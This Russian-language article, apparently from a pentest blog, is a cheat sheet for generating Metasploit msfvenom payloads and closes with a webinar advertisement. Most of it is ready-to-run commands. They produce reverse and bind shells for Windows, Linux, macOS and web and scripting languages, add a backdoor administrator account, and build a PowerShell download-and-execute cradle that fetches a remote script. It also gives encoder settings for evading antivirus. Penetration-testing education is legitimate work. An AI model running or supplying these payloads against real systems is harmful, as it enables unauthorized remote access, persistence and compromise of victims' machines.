В этой статье мы продолжим интересную и полезную тему шпаргалок по различным инструментам для пентеста. Ранее мы уже рассмотрели тему различных полезностей для пентестера, которые могут пригодиться при проведении тестирования на проникновение. Сегодня мы продолжим эту тему, но говорить будем уже непосредственно о Msfvenom.
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. В настоящий момент данная утилита является частью фреймворка Metasploit. Полезной нагрузкой (payload) является код или часть фрагмент вредоносного кода, который непосредственно выполняет деструктивное действие: удаляет данные, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению. Важно понимать, что для атакующего payload это то, что необходимо доставить на узел жертвы, для того, чтобы реализовать атаку. Конечно, лучше всего, когда код полезной нагрузки написан самостоятельно, в таком случае меньше вероятность его обнаружения средствами защиты. Но при проведении пентеста это не всегда возможно, и в таком случае, для генерации готовых пейлоадов можно воспользоваться специальными инструментами, например фреймворком Metasploit.
Данный фреймворк уже содержит в себе множество различных инструментов для реализации различных атак, и с помощью утилиты Msfvenom можно без особых проблем быстро сгенерировать нужную полезную нагрузку.
Вот базовый формат команды утилиты msfvenom:
msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>
Здесь PAYLOAD это та самая полезная загрузка
ENCODER – это алгоритмы, с помощью которых можно попытаться скрыться от средств обнаружения.
FORMAT – форматы файлов, которые мы получаем на выходе, например exe, dll, elf.
ENCODE COUNT – количество итераций кодирования
LHOST – IP адрес узла, к которому нужно подключиться
Также, может использоваться ключ –a для указания нужной архитектуры
Посмотреть доступные полезные нагрузки можно с помощью:
msfvenom -l payloads
![](https://habrastorage.org/getpro/habr/upload_files/e02/698/eb5/e02698eb51fbd7ab93a00d753f21a2ce.png)
Кодировщики с помощью:
msfvenom -l encoders
А форматы с помощью:
msfvenom -l formats
Также, при генерации полезных нагрузок не стоит забывать о так называемых “плохих” байтах. Это байты, которые не должны использоваться в наших пейлоадах. Например, в случае, если в пейлоаде, передаваемом уязвимому приложению через параметр командной строки будет байт 0х00, то приложение решит что передача данных окончена и проигнорирует все байты, переданные после нулей. Аналогично, плохими байтами являются 0х0a и 0x0d, так как они используются для завершения строки и при построчном вводе, все последующие байты также будут отброшены.
Msfvenom нужно сообщить, какие байты являются плохими, для того, чтобы он не использовал их в сгенерированных пейлоадах. Сделать это можно с помощью параметра –b.
Например, для вышеупомянутых байтов значения этих параметров будут следующими:
-b "\x00\x0a\x0d"
На этом, полагаю, вводной теории по msfvenom будет достаточно и можно перейти непосредственно к полезностям.
Полезности для различных ОС
Начнем с рассмотрения разных полезных команд для самой безопасной распространенной пользовательской ОС Windows. При проведении пентеста обычно требуется проверить возможности по созданию удаленного канала связи в атакуемую сеть. Как правило, для этого используют реверс шелл, то есть соединение инициируется машиной жертвы. Для создания такого пейлоада выполним следующую команду. LHOST и LPORT это соответственно адрес и порт на машине атакующего, к которой будет выполняться подключение
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
Прямой шелл используется значительно реже, так как для него машина атакующего и жертвы должна находиться в одной сети.
msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe
В процессе закрепления в системе пентестеру может потребоваться создать нового пользователя, сделать это можно с помощью следующей команды:
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
Если нам необходимо добавить пользователя в группу администраторов, то для этого можно выполнить следующую команду:
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators attacker /add" -f exe > pay.exe
Еще один способ внедрения в систему жертвы, это загрузка скриптов из внешних источников. В примере ниже мы создаем пейлоад, который после запуска открывает powershell, и с его помощью загружает с внешнего ресурса файл скрипта для последующего выполнения.
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
Для того, чтобы усложнить обнаружение, мы можем прибегнуть к помощи кодировщиков, как в примере ниже:
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
На этом мы завершим рассмотрение пейлоадов для Windows и посмотрим, как аналогичные задачи можно решить для Linux.
Здесь общий принцип построения команд аналогичен рассмотренyому ранее для прямого и обратного шелла. В качестве формата выходного файла у нас будет использоваться ELF.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f elf > bind.elf
Продолжая тему шеллов для операционных систем рассмотрим также пейлоады для MacOS.
msfvenom -p osx/x86/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f macho > reverse.macho
msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho > bind.macho
Полезности для веб
Иногда уязвимости на веб ресурсах позволяют выполнить произвольный код и в таких случаях на помощью пентестеру приходят пейлоады для различных языков веб разработки. Например, если мы хотим организовать реверсивный шелл с помощью php скрипта, то нам необходимо выполнить следующую команду:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php
В случае, если уязвимый ресурс использует Windows и ASP/x, то наш реверс шелл почти ничем не будет отличаться от приведенных ранее примеров для ОС Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f asp >reverse.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f aspx >reverse.aspx
Множество веб ресурсов используют NodeJS и здесь в общем случае для нашего пейлоада не потребуется никакой выходной формат
msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
В результате на выходе мы получим следующий скрипт
![](https://habrastorage.org/getpro/habr/upload_files/0f5/d1a/eef/0f5d1aeef599b054e6ed26d7bfc835b6.png)
Скриптовые языки
Завершая тему полезностей для msfvenom рассмотрим генерацию пейлоадов для основных скриптовых языков: Perl, Python и Bash.
По сути все три команды будут идентичны:
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f raw > shell.sh
![](https://habrastorage.org/getpro/habr/upload_files/8a0/0fe/8f6/8a00fe8f6767ace5adf541fb499e3641.png)
Заключение
Msfvenom предлагает богатый функционал по генерации различных полезных нагрузок в различных форматах и кодировках. С его помощью пентестер может попытаться обойти достаточно современные средства обнаружения и защиты. В статье мы рассмотрели только самые основные полезные нагрузки и другие функции msfvenom, однако на практике функционал утилиты гораздо шире.
В завершение приглашаем всех желающих на открытое занятие, посвященное теме комплексной кибербезопасности компании.
В результате вебинара участники узнают, как в современных реалиях выстроить ландшафт инфобеза, что необходимо помнить и о чем не забывать, когда мы работаем с кибербезопасностью. Участники также узнают, как рассказать бизнесу, что ИБ это не затраты, а инвестиции. Записаться можно по ссылке.